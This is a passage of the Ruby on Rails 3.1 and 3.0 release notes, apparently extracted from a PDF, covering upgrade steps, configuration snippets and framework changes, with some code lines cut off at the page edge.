Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash
Rails. Ruby Enterprise Edition have these fixed since release 1.8.72010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it
outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth
sailing.
1.2 What to update in your apps
The following changes are meant for upgrading your application to Rails
3.1.3, the latest 3.1.x version of Rails.
1.2.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '= 3.1.3'
gem 'mysql2'
# Needed for the new asset pipeline
group :assets do
gem 'sass-rails', "~> 3.1.5"

gem 'coffee-rails', "~> 3.1.1"

gem 'uglifier', ">= 1.0.3"
end
# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'
1.2.2 config/application.rb

The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

If your application is using the "/assets" route for a resource you may
want change the prefix used for assets to avoid conflicts:
# Defaults to '/assets'
config.assets.prefix = '/asset-files'

1.2.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add the following, if you enable the asset pipeline.
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true

1.2.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can
read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS

config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset i

config.assets.compile = false
# Generate digests for assets URLs
config.assets.digest = true
# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.

# config.assets.precompile `= %w( search.js )

# Force all access to the app over SSL, use Strict-Transport

# config.force_ssl = true

1.2.5 config/environments/test.rb

# Configure static asset server for tests with Cache-Control for

config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
1.2.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap
parameters into a nested hash. This is on by default in new
applications.

# Be sure to restart your server when you modify this file.

# This file contains settings for ActionController::ParamsWr
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this b

ActiveSupport.on_load(:action_controller) do
wrap_parameters :format => [:json]
end
# Disable root element in JSON by default.

ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

1.2.7 Remove :cache and :concat options in asset helpers references in views

With the Asset Pipeline the :cache and :concat options aren't used
anymore, delete these options from your views.

2 Creating a Rails 3.1 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems
you require for your application to start. This Gemfile is processed by the
Bundler gem, which then installs all your dependencies. It can even install
all the dependencies locally to your application so that it doesn't depend on
the system gems.
More information: - bundler homepage
2.2 Living on the Edge
Bundler and Gemfile makes freezing your Rails application easy as pie
with the new dedicated bundle command. If you want to bundle straight
from the Git repository, you can pass the --edge flag:
$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Rails Architectural Changes

3.1 Assets Pipeline
The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and
JavaScript first-class code citizens and enables proper organization,
including use in plugins and engines.
The assets pipeline is powered by Sprockets and is covered in the Asset
Pipeline guide.
3.2 HTTP Streaming
HTTP Streaming is another change that is new in Rails 3.1. This lets the
browser download your stylesheets and JavaScript files while the server is
still generating the response. This requires Ruby 1.9.2, is opt-in and
requires support from the web server as well, but the popular combo of
NGINX and Unicorn is ready to take advantage of it.
3.3 Default JS library is now jQuery
jQuery is the default JavaScript library that ships with Rails 3.1. But if you
use Prototype, it's simple to switch.
$ rails new myapp -j prototype

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps
previously instantiated records and returns the object associated with the
record if accessed again. The identity map is created on a per-request basis
and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties
jQuery is the new default JavaScript library.
jQuery and Prototype are no longer vendored and is provided from
now on by the jquery-rails and prototype-rails gems.
The application generator accepts an option -j which can be an
arbitrary string. If passed "foo", the gem "foo-rails" is added to the
Gemfile, and the application JavaScript manifest requires "foo" and
"foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist
and provide those files via the asset pipeline.
Generating an application or a plugin runs bundle install unless -skip-gemfile or --skip-bundle is specified.
The controller and resource generators will now automatically
produce asset stubs (this can be turned off with --skip-assets).
These stubs will use CoffeeScript and Sass, if those libraries are
available.
Scaffold and app generators use the Ruby 1.9 style hash when
running on Ruby 1.9. To generate old style hash, --old-style-hash
can be passed.
Scaffold controller generator creates format block for JSON instead
of XML.
Active Record logging is directed to STDOUT and shown inline in
the console.
Added config.force_ssl configuration which loads Rack::SSL
middleware and force all requests to be under HTTPS protocol.
Added rails plugin new command which generates a Rails plugin
with gemspec, tests and a dummy application for testing.
Added Rack::Etag and Rack::ConditionalGet to the default
middleware stack.
Added Rack::Cache to the default middleware stack.
Engines received a major update - You can mount them at any path,
enable assets, run generators etc.

5 Action Pack
5.1 Action Controller
A warning is given out if the CSRF token authenticity cannot be
verified.
Specify force_ssl in a controller to force the browser to transfer data
via HTTPS protocol on that particular controller. To limit to specific
actions, :only or :except can be used.
Sensitive query string parameters specified in
config.filter_parameters will now be filtered out from the request
paths in the log.
URL parameters which return nil for to_param are now removed
from the query string.
Added ActionController::ParamsWrapper to wrap parameters into
a nested hash, and will be turned on for JSON request in new
applications by default. This can be customized in
config/initializers/wrap_parameters.rb.
Added config.action_controller.include_all_helpers. By
default helper :all is done in ActionController::Base, which
includes all the helpers by default. Setting include_all_helpers to
false will result in including only application_helper and the helper
corresponding to controller (like foo_helper for foo_controller).
url_for and named url helpers now accept :subdomain and :domain
as options.
Added Base.http_basic_authenticate_with to do simple http basic
authentication with a single class method call.
class PostsController < ApplicationController
USER_NAME, PASSWORD = "dhh", "secret"
before_filter :authenticate, :except => [ :index ]
def index
render :text => "Everyone can see me!"

end

def edit
render :text => "I'm only accessible if you know the pas
end

private
def authenticate
authenticate_or_request_with_http_basic do |user_name,
user_name == USER_NAME && password == PASSWORD
end
end
end

..can now be written as

class PostsController < ApplicationController

http_basic_authenticate_with :name => "dhh", :password =>
def index
render :text => "Everyone can see me!"
end

def edit
render :text => "I'm only accessible if you know the pas
end
end

Added streaming support, you can enable it with:

class PostsController < ActionController::Base
stream
end

You can restrict it to some actions by using :only or :except. Please

read the docs at ActionController::Streaming for more
information.
The redirect route method now also accepts a hash of options which
will only change the parts of the url in question, or an object which

responds to call, allowing for redirects to be reused.

5.2 Action Dispatch
config.action_dispatch.x_sendfile_header now defaults to nil
and config/environments/production.rb doesn't set any particular
value for it. This allows servers to set it through X-Sendfile-Type.
ActionDispatch::MiddlewareStack now uses composition over

inheritance and is no longer an array.

Added ActionDispatch::Request.ignore_accept_header to ignore
accept headers.
Added Rack::Cache to the default stack.
Moved etag responsibility from ActionDispatch::Response to the
middleware stack.
Rely on Rack::Session stores API for more compatibility across the
Ruby world. This is backwards incompatible since Rack::Session
expects #get_session to accept four arguments and requires
#destroy_session instead of simply #destroy.
Template lookup now searches further up in the inheritance chain.
5.3 Action View
Added an :authenticity_token option to form_tag for custom
handling or to omit the token by passing :authenticity_token =>
false.
Created ActionView::Renderer and specified an API for
ActionView::Context.
In place SafeBuffer mutation is prohibited in Rails 3.1.
Added HTML5 button_tag helper.
file_field automatically adds :multipart => true to the enclosing
form.
Added a convenience idiom to generate HTML5 data-* attributes in
tag helpers from a :data hash of options:

tag("div", :data => {:name => 'Stephen', :city_state => %w(C

# => <div data-name="Stephen" data-city-state="["Chicag

Keys are dasherized. Values are JSON-encoded, except for strings and
symbols.
csrf_meta_tag is renamed to csrf_meta_tags and aliases
csrf_meta_tag for backwards compatibility.

The old template handler API is deprecated and the new API simply
requires a template handler to respond to call.
rhtml and rxml are finally removed as template handlers.
config.action_view.cache_template_loading is brought back
which allows to decide whether templates should be cached or not.
The submit form helper does not generate an id "object_name_id"
anymore.
Allows FormHelper#form_for to specify the :method as a direct
option instead of through the :html hash. form_for(@post, remote:
true, method: :delete) instead of form_for(@post, remote:
true, html: { method: :delete }).
Provided JavaScriptHelper#j() as an alias for
JavaScriptHelper#escape_javascript(). This supersedes the
Object#j() method that the JSON gem adds within templates using
the JavaScriptHelper.
Allows AM/PM format in datetime selectors.
auto_link has been removed from Rails and extracted into the
rails_autolink gem

6 Active Record
Added a class method pluralize_table_names to
singularize/pluralize table names of individual models. Previously
this could only be set globally for all models through
ActiveRecord::Base.pluralize_table_names.
class User < ActiveRecord::Base
self.pluralize_table_names = false
end

Added block setting of attributes to singular associations. The block

will get called after the instance is initialized.
class User < ActiveRecord::Base
has_one :account
end
user.build_account{ |a| a.credit_limit = 100.0 }

Added ActiveRecord::Base.attribute_names to return a list of

attribute names. This will return an empty array if the model is
abstract or the table does not exist.
CSV Fixtures are deprecated and support will be removed in Rails
3.2.0.
ActiveRecord#new, ActiveRecord#create and
ActiveRecord#update_attributes all accept a second hash as an
option that allows you to specify which role to consider when
assigning attributes. This is built on top of Active Model's new mass
assignment capabilities:
class Post < ActiveRecord::Base
attr_accessible :title
attr_accessible :title, :published_at, :as => :admin
end

Post.new(params[:post], :as => :admin)

default_scope can now take a block, lambda, or any other object

which responds to call for lazy evaluation.

Default scopes are now evaluated at the latest possible moment, to
avoid problems where scopes would be created which would
implicitly contain the default scope, which would then be impossible
to get rid of via Model.unscoped.
PostgreSQL adapter only supports PostgreSQL version 8.2 and
higher.
ConnectionManagement middleware is changed to clean up the
connection pool after the rack body has been flushed.
Added an update_column method on Active Record. This new
method updates a given attribute on an object, skipping validations
and callbacks. It is recommended to use update_attributes or
update_attribute unless you are sure you do not want to execute
any callback, including the modification of the updated_at column. It
should not be called on new records.
Associations with a :through option can now use any association as
the through or source association, including other associations which
have a :through option and has_and_belongs_to_many associations.
The configuration for the current database connection is now
accessible via ActiveRecord::Base.connection_config.
limits and offsets are removed from COUNT queries unless both are
supplied.

People.limit(1).count # => 'SELECT COUNT(*) FROM p

People.offset(1).count # => 'SELECT COUNT(*) FROM p
People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM p

ActiveRecord::Associations::AssociationProxy has been split.

There is now an Association class (and subclasses) which are

responsible for operating on associations, and then a separate, thin

wrapper called CollectionProxy, which proxies collection

associations. This prevents namespace pollution, separates concerns,

and will allow further refactorings.
Singular associations (has_one, belongs_to) no longer have a proxy
and simply returns the associated record or nil. This means that you
should not use undocumented methods such as bob.mother.create use bob.create_mother instead.
Support the :dependent option on has_many :through associations.
For historical and practical reasons, :delete_all is the default
deletion strategy employed by association.delete(*records),
despite the fact that the default strategy is :nullify for regular
has_many. Also, this only works at all if the source reflection is a
belongs_to. For other situations, you should directly modify the
through association.
The behavior of association.destroy for
has_and_belongs_to_many and has_many :through is changed.
From now on, 'destroy' or 'delete' on an association will be taken to
mean 'get rid of the link', not (necessarily) 'get rid of the associated
records'.
Previously, has_and_belongs_to_many.destroy(*records) would
destroy the records themselves. It would not delete any records in the
join table. Now, it deletes the records in the join table.
Previously, has_many_through.destroy(*records) would destroy
the records themselves, and the records in the join table. [Note: This
has not always been the case; previous version of Rails only deleted
the records themselves.] Now, it destroys only the records in the join
table.
Note that this change is backwards-incompatible to an extent, but
there is unfortunately no way to 'deprecate' it before changing it. The
change is being made in order to have consistency as to the meaning
of 'destroy' or 'delete' across the different types of associations. If you
wish to destroy the records themselves, you can do
records.association.each(&:destroy).
Add :bulk => true option to change_table to make all the schema
changes defined in a block using a single ALTER statement.

change_table(:users, :bulk => true) do |t|

t.string :company_name
t.change :birthdate, :datetime
end

Removed support for accessing attributes on a

has_and_belongs_to_many join table. has_many :through needs to
be used.
Added a create_association! method for has_one and belongs_to
associations.
Migrations are now reversible, meaning that Rails will figure out how
to reverse your migrations. To use reversible migrations, just define
the change method.
class MyMigration < ActiveRecord::Migration
def change
create_table(:horses) do |t|
t.column :content, :text
t.column :remind_at, :datetime
end
end
end

Some things cannot be automatically reversed for you. If you know

how to reverse those things, you should define up and down in your
migration. If you define something in change that cannot be reversed,
an IrreversibleMigration exception will be raised when going
down.
Migrations now use instance methods rather than class methods:
class FooMigration < ActiveRecord::Migration
def up # Not self.up
...
end
end

Migration files generated from model and constructive migration

generators (for example, add_name_to_users) use the reversible
migration's change method instead of the ordinary up and down
methods.
Removed support for interpolating string SQL conditions on
associations. Instead, a proc should be used.

has_many :things, :conditions => 'foo = #{bar}' # b

has_many :things, :conditions => proc { "foo = #{bar}" } # a

Inside the proc, self is the object which is the owner of the
association, unless you are eager loading the association, in which
case self is the class which the association is within. You can have
any "normal" conditions inside the proc, so the following will work
too:
has_many :things, :conditions => proc { ["foo = ?", bar] }

Previously :insert_sql and :delete_sql on

has_and_belongs_to_many association allowed you to call 'record' to
get the record being inserted or deleted. This is now passed as an
argument to the proc.
Added ActiveRecord::Base#has_secure_password (via
ActiveModel::SecurePassword) to encapsulate dead-simple
password usage with BCrypt encryption and salting.

# Schema: User(name:string, password_digest:string, password

class User < ActiveRecord::Base
has_secure_password
end

When a model is generated add_index is added by default for

belongs_to or references columns.
Setting the id of a belongs_to object will update the reference to the
object.

ActiveRecord::Base#dup and ActiveRecord::Base#clone

semantics have changed to closer match normal Ruby dup and clone
semantics.
Calling ActiveRecord::Base#clone will result in a shallow copy of
the record, including copying the frozen state. No callbacks will be
called.
Calling ActiveRecord::Base#dup will duplicate the record, including
calling after initialize hooks. Frozen state will not be copied, and all
associations will be cleared. A duped record will return true for
new_record?, have a nil id field, and is saveable.
The query cache now works with prepared statements. No changes in
the applications are required.

7 Active Model
attr_accessible accepts an option :as to specify a role.
InclusionValidator, ExclusionValidator, and FormatValidator

now accepts an option which can be a proc, a lambda, or anything

that respond to call. This option will be called with the current
record as an argument and returns an object which respond to
include? for InclusionValidator and ExclusionValidator, and
returns a regular expression object for FormatValidator.
Added ActiveModel::SecurePassword to encapsulate dead-simple
password usage with BCrypt encryption and salting.
ActiveModel::AttributeMethods allows attributes to be defined on
demand.
Added support for selectively enabling and disabling observers.
Alternate I18n namespace lookup is no longer supported.

8 Active Resource
The default format has been changed to JSON for all requests. If you
want to continue to use XML you will need to set self.format =
:xml in the class. For example,
class User < ActiveResource::Base
self.format = :xml
end

9 Active Support
ActiveSupport::Dependencies now raises NameError if it finds an
existing constant in load_missing_constant.
Added a new reporting method Kernel#quietly which silences both
STDOUT and STDERR.
Added String#inquiry as a convenience method for turning a String
into a StringInquirer object.
Added Object#in? to test if an object is included in another object.
LocalCache strategy is now a real middleware class and no longer an

anonymous class.
ActiveSupport::Dependencies::ClassCache class has been

introduced for holding references to reloadable classes.

ActiveSupport::Dependencies::Reference has been refactored to
take direct advantage of the new ClassCache.
Backports Range#cover? as an alias for Range#include? in Ruby 1.8.
Added weeks_ago and prev_week to Date/DateTime/Time.
Added before_remove_const callback to
ActiveSupport::Dependencies.remove_unloadable_constants!.
Deprecations:
ActiveSupport::SecureRandom is deprecated in favor of
SecureRandom from the Ruby standard library.

10 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
Rails 3.1 Release Notes were compiled by Vijay Dev

Ruby on Rails 3.0 Release Notes

Ruby...

1 Upgrading to Rails 3
If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 2.3.5
and make sure your application still runs as expected before attempting to
update to Rails 3. Then take heed of the following changes:
1.1 Rails 3 requires at least Ruby 1.8.7
Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous
Ruby versions has been dropped officially and you should upgrade as early
as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails
3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02
though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright
segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on
1.9.2 for smooth sailing.
1.2 Rails Application object
As part of the groundwork for supporting running multiple Rails
applications in the same process, Rails 3 introduces the concept of an
Application object. An application object holds all the application specific
configurations and is very similar in nature to config/environment.rb
from the previous versions of Rails.
Each Rails application now must have a corresponding application object.
The application object is defined in config/application.rb. If you're
upgrading an existing application to Rails 3, you must add this file and
move the appropriate configurations from config/environment.rb to
config/application.rb.
1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the
script directory. You do not run script/rails directly though, the rails
command detects it is being invoked in the root of a Rails application and
runs the script for you. Intended usage is:

$ rails console # instead of script/console

$ rails g scaffold post title:string # instead of script/generat

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem
The config.gem method is gone and has been replaced by using bundler
and a Gemfile, see Vendoring Gems below.
1.5 Upgrade Process
To help with the upgrade process, a plugin named Rails Upgrade has been
created to automate part of it.
Simply install the plugin, then run rake rails:upgrade:check to check
your app for pieces that need to be updated (with links to information on
how to update them). It also offers a task to generate a Gemfile based on
your current config.gem calls and a task to generate a new routes file from
your current one. To get the plugin, simply run the following:

$ ruby script/plugin install git://github.com/rails/rails_upgrad

You can see an example of how that works at Rails Upgrade is now an
Official Plugin
Aside from Rails Upgrade tool, if you need more help, there are people on
IRC and rubyonrails-talk that are probably doing the same thing, possibly

hitting the same issues. Be sure to blog your own experiences when
upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems
you require for your application to start. This Gemfile is processed by the
Bundler which then installs all your dependencies. It can even install all
the dependencies locally to your application so that it doesn't depend on
the system gems.
More information: - bundler homepage
2.2 Living on the Edge
Bundler and Gemfile makes freezing your Rails application easy as pie
with the new dedicated bundle command, so rake freeze is no longer

relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the -edge flag:
$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/bin/rails new myapp --dev

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.
3.1 Railties Restrung
Railties was updated to provide a consistent plugin API for the entire Rails
framework as well as a total rewrite of generators and the Rails bindings,
the result is that developers can now hook into any significant stage of the
generators and application framework in a consistent, defined manner.
3.2 All Rails core components are decoupled
With the merge of Merb and Rails, one of the big jobs was to remove the
tight coupling between Rails core components. This has now been
achieved, and all Rails core components are now using the same API that
you can use for developing plugins. This means any plugin you make, or
any core component replacement (like DataMapper or Sequel) can access
all the functionality that the Rails core components have access to and
extend and enhance at will.
More information: - The Great Decoupling
3.3 Active Model Abstraction
Part of decoupling the core components was extracting all ties to Active
Record from Action Pack. This has now been completed. All new ORM
plugins now just need to implement Active Model interfaces to work
seamlessly with Action Pack.
More information: - Make Any Ruby Object Feel Like ActiveRecord
3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base
superclass that is separated from the notions of HTTP in order to handle
rendering of views etc. This creation of AbstractController allowed
ActionController and ActionMailer to be greatly simplified with
common code removed from all these libraries and put into Abstract
Controller.
More Information: - Rails Edge Architecture
3.5 Arel Integration
Arel (or Active Relation) has been taken on as the underpinnings of Active
Record and is now required for Rails. Arel provides an SQL abstraction
that simplifies out Active Record and provides the underpinnings for the
relation functionality in Active Record.
More information: - Why I wrote Arel
3.6 Mail Extraction
Action Mailer ever since its beginnings has had monkey patches, pre
parsers and even delivery and receiver agents, all in addition to having
TMail vendored in the source tree. Version 3 changes that with all email
message related functionality abstracted out to the Mail gem. This again
reduces code duplication and helps create definable boundaries between
Action Mailer and the email parser.
More information: - New Action Mailer API in Rails 3

4 Documentation
The documentation in the Rails tree is being updated with all the API
changes, additionally, the Rails Edge Guides are being updated one by one
to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org
however will continue to contain only the stable version of Rails (at this
point, version 2.3.5, until 3.0 is released).
More Information: - Rails Documentation Projects

5 Internationalization
A large amount of work has been done with I18n support in Rails 3,
including the latest I18n gem supplying many speed improvements.
I18n for any object - I18n behavior can be added to any object by
including ActiveModel::Translation and
ActiveModel::Validations. There is also an errors.messages
fallback for translations.
Attributes can have default translations.
Form Submit Tags automatically pull the correct status (Create or
Update) depending on the object status, and so pull the correct
translation.
Labels with I18n also now work by just passing the attribute name.
More Information: - Rails 3 I18n changes

6 Railties
With the decoupling of the main Rails frameworks, Railties got a huge
overhaul so as to make linking up frameworks, engines or plugins as
painless and extensible as possible:
Each application now has its own name space, application is started
with YourAppName.boot for example, makes interacting with other
applications a lot easier.
Anything under Rails.root/app is now added to the load path, so
you can make app/observers/user_observer.rb and Rails will load
it without any modifications.
Rails 3.0 now provides a Rails.config object, which provides a
central repository of all sorts of Rails wide configuration options.
Application generation has received extra flags allowing you to skip
the installation of test-unit, Active Record, Prototype and Git. Also a
new --dev flag has been added which sets the application up with the
Gemfile pointing to your Rails checkout (which is determined by the
path to the rails binary). See rails --help for more info.
Railties generators got a huge amount of attention in Rails 3.0, basically:
Generators were completely rewritten and are backwards
incompatible.
Rails templates API and generators API were merged (they are the
same as the former).
Generators are no longer loaded from special paths anymore, they are
just found in the Ruby load path, so calling rails generate foo will
look for generators/foo_generator.
New generators provide hooks, so any template engine, ORM, test
framework can easily hook in.
New generators allow you to override the templates by placing a copy
at Rails.root/lib/templates.
Rails::Generators::TestCase is also supplied so you can create

your own generators and test them.

Also, the views generated by Railties generators had some overhaul:
Views now use div tags instead of p tags.
Scaffolds generated now make use of _form partials, instead of
duplicated code in the edit and new views.
Scaffold forms now use f.submit which returns "Create
ModelName" or "Update ModelName" depending on the state of the
object passed in.
Finally a couple of enhancements were added to the rake tasks:
rake db:forward was added, allowing you to roll forward your

migrations individually or in groups.

rake routes CONTROLLER=x was added allowing you to just view the
routes for one controller.
Railties now deprecates:
RAILS_ROOT in favor of Rails.root,
RAILS_ENV in favor of Rails.env, and
RAILS_DEFAULT_LOGGER in favor of Rails.logger.
PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks
now must be in PLUGIN/lib/tasks.

More information:
Discovering Rails 3 generators
The Rails Module (in Rails 3)

7 Action Pack
There have been significant internal and external changes in Action Pack.
7.1 Abstract Controller
Abstract Controller pulls out the generic parts of Action Controller into a
reusable module that any library can use to render templates, render
partials, helpers, translations, logging, any part of the request response
cycle. This abstraction allowed ActionMailer::Base to now just inherit
from AbstractController and just wrap the Rails DSL onto the Mail
gem.
It also provided an opportunity to clean up Action Controller, abstracting
out what could to simplify the code.
Note however that Abstract Controller is not a user facing API, you will
not run into it in your day to day use of Rails.
More Information: - Rails Edge Architecture
7.2 Action Controller
application_controller.rb now has protect_from_forgery on by

default.
The cookie_verifier_secret has been deprecated and now instead
it is assigned through Rails.application.config.cookie_secret
and moved into its own file:
config/initializers/cookie_verification_secret.rb.
The session_store was configured in
ActionController::Base.session, and that is now moved to
Rails.application.config.session_store. Defaults are set up in
config/initializers/session_store.rb.
cookies.secure allowing you to set encrypted values in cookies with

cookie.secure[:key] => value.

cookies.permanent allowing you to set permanent values in the
cookie hash cookie.permanent[:key] => value that raise

exceptions on signed values if verification failures.

You can now pass :notice => 'This is a flash message' or
:alert => 'Something went wrong' to the format call inside a
respond_to block. The flash[] hash still works as previously.
respond_with method has now been added to your controllers
simplifying the venerable format blocks.
ActionController::Responder added allowing you flexibility in
how your responses get generated.
Deprecations:
filter_parameter_logging is deprecated in favor of
config.filter_parameters << :password.

More Information:
Render Options in Rails 3
Three reasons to love ActionController::Responder
7.3 Action Dispatch
Action Dispatch is new in Rails 3.0 and provides a new, cleaner
implementation for routing.
Big clean up and re-write of the router, the Rails router is now
rack_mount with a Rails DSL on top, it is a stand alone piece of
software.
Routes defined by each application are now name spaced within your
Application module, that is:
# Instead of:

ActionController::Routing::Routes.draw do |map|
map.resources :posts
end
# You do:
AppName::Application.routes do
resources :posts
end

Added match method to the router, you can also pass any Rack
application to the matched route.
Added constraints method to the router, allowing you to guard
routers with defined constraints.
Added scope method to the router, allowing you to namespace routes
for different languages or different actions, for example:

scope 'es' do
resources :projects, :path_names => { :edit => 'cambiar' }
end
# Gives you the edit action with /es/proyecto/1/cambiar

Added root method to the router as a short cut for match '/', :to
=> path.
You can pass optional segments into the match, for example match
"/:controller(/:action(/:id))(.:format)", each parenthesized
segment is optional.
Routes can be expressed via blocks, for example you can call
controller :home { match '/:action' }.
The old style map commands still work as before with a backwards
compatibility layer, however this will be removed in the 3.1 release.
Deprecations

The catch all route for non-REST applications

(/:controller/:action/:id) is now commented out.
Routes :path_prefix no longer exists and :name_prefix now
automatically adds "_" at the end of the given value.
More Information: * The Rails 3 Router: Rack it Up * Revamped Routes
in Rails 3 * Generic Actions in Rails 3
7.4 Action View
7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing

Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX
commands. This enables Rails to use any compliant UJS driver to
implement the UJS hooks in the helpers.
What this means is that all previous remote_<method> helpers have been
removed from Rails core and put into the Prototype Legacy Helper. To get
UJS hooks into your HTML, you now pass :remote => true instead. For
example:
form_for @post, :remote => true

Produces:

<form action="http://host.com" id="create-post" method="post" da

7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%=
now:
<%= form_for @post do |f| %>

...
<% end %>

Your own helpers of that kind are expected to return a string, rather than
appending to the output buffer by hand.
Helpers that do something else, like cache or content_for, are not
affected by this change, they need <% as before.
7.4.3 Other Changes

You no longer need to call h(string) to escape HTML output, it is

on by default in all view templates. If you want the unescaped string,
call raw(string).
Helpers now output HTML 5 by default.
Form label helper now pulls values from I18n with a single value, so
f.label :name will pull the :name translation.
I18n select label on should now be :en.helpers.select instead of
:en.support.select.
You no longer need to place a minus sign at the end of a Ruby
interpolation inside an ERB template to remove the trailing carriage
return in the HTML output.
Added grouped_collection_select helper to Action View.
content_for? has been added allowing you to check for the existence
of content in a view before rendering.
passing :value => nil to form helpers will set the field's value
attribute to nil as opposed to using the default value
passing :id => nil to form helpers will cause those fields to be
rendered with no id attribute
passing :alt => nil to image_tag will cause the img tag to render
with no alt attribute

8 Active Model
Active Model is new in Rails 3.0. It provides an abstraction layer for any
ORM libraries to use to interact with Rails by implementing an Active
Model interface.
8.1 ORM Abstraction and Action Pack Interface
Part of decoupling the core components was extracting all ties to Active
Record from Action Pack. This has now been completed. All new ORM
plugins now just need to implement Active Model interfaces to work
seamlessly with Action Pack.
More Information: - Make Any Ruby Object Feel Like ActiveRecord
8.2 Validations
Validations have been moved from Active Record into Active Model,
providing an interface to validations that works across ORM libraries in
Rails 3.
There is now a validates :attribute, options_hash shortcut
method that allows you to pass options for all the validates class
methods, you can pass more than one option to a validate method.
The validates method has the following options:
:acceptance => Boolean.
:confirmation => Boolean.
:exclusion => { :in => Enumerable }.
:inclusion => { :in => Enumerable }.
:format => { :with => Regexp, :on => :create }.
:length => { :maximum => Fixnum }.
:numericality => Boolean.
:presence => Boolean.
:uniqueness => Boolean.

All the Rails version 2.3 style validation methods are still supported in
Rails 3.0, the new validates method is designed as an additional aid in your
model validations, not a replacement for the existing API.
You can also pass in a validator object, which you can then reuse between
objects that use Active Model:
class TitleValidator < ActiveModel::EachValidator
Titles = ['Mr.', 'Mrs.', 'Dr.']
def validate_each(record, attribute, value)
unless Titles.include?(value)
record.errors[attribute] << 'must be a valid title'
end
end
end
class Person
include ActiveModel::Validations
attr_accessor :title
validates :title, :presence => true, :title => true
end
# Or for Active Record
class Person < ActiveRecord::Base
validates :title, :presence => true, :title => true
end

There's also support for introspection:

User.validators
User.validators_on(:login)

More Information:
Sexy Validation in Rails 3
Rails 3 Validations Explained

9 Active Record
Active Record received a lot of attention in Rails 3.0, including abstraction
into Active Model, a full update to the Query interface using Arel,
validation updates and many enhancements and fixes. All of the Rails 2.x
API will be usable through a compatibility layer that will be supported
until version 3.1.
9.1 Query Interface
Active Record, through the use of Arel, now returns relations on its core
methods. The existing API in Rails 2.3.x is still supported and will not be
deprecated until Rails 3.1 and not removed until Rails 3.2, however, the
new API provides the following new methods that all return relations
allowing them to be chained together:
where - provides conditions on the relation, what gets returned.
select - choose what attributes of the models you wish to have

returned from the database.

group - groups the relation on the attribute supplied.
having - provides an expression limiting group relations (GROUP
BY constraint).
joins - joins the relation to another table.
clause - provides an expression limiting join relations (JOIN
constraint).
includes - includes other relations pre-loaded.
order - orders the relation based on the expression supplied.
limit - limits the relation to the number of records specified.
lock - locks the records returned from the table.
readonly - returns an read only copy of the data.
from - provides a way to select relationships from more than one
table.
scope - (previously named_scope) return relations and can be chained

together with the other relation methods.

with_scope - and with_exclusive_scope now also return relations
and so can be chained.
default_scope - also works with relations.
More Information:
Active Record Query Interface
Let your SQL Growl in Rails 3
9.2 Enhancements
Added :destroyed? to Active Record objects.
Added :inverse_of to Active Record associations allowing you to
pull the instance of an already loaded association without hitting the
database.
9.3 Patches and Deprecations
Additionally, many fixes in the Active Record branch:
SQLite 2 support has been dropped in favor of SQLite 3.
MySQL support for column order.
PostgreSQL adapter has had its TIME ZONE support fixed so it no
longer inserts incorrect values.
Support multiple schemas in table names for PostgreSQL.
PostgreSQL support for the XML data type column.
table_name is now cached.
A large amount of work done on the Oracle adapter as well with
many bug fixes.
As well as the following deprecations:
named_scope in an Active Record class is deprecated and has been

renamed to just scope.

In scope methods, you should move to using the relation methods,
instead of a :conditions => {} finder method, for example scope
:since, lambda {|time| where("created_at > ?", time) }.
save(false) is deprecated, in favor of save(:validate => false).
I18n error messages for Active Record should be changed from
:en.activerecord.errors.template to :en.errors.template.
model.errors.on is deprecated in favor of model.errors[]
validates_presence_of => validates... :presence => true
ActiveRecord::Base.colorize_logging and
config.active_record.colorize_logging are deprecated in favor
of Rails::LogSubscriber.colorize_logging or
config.colorize_logging

While an implementation of State Machine has been in Active Record

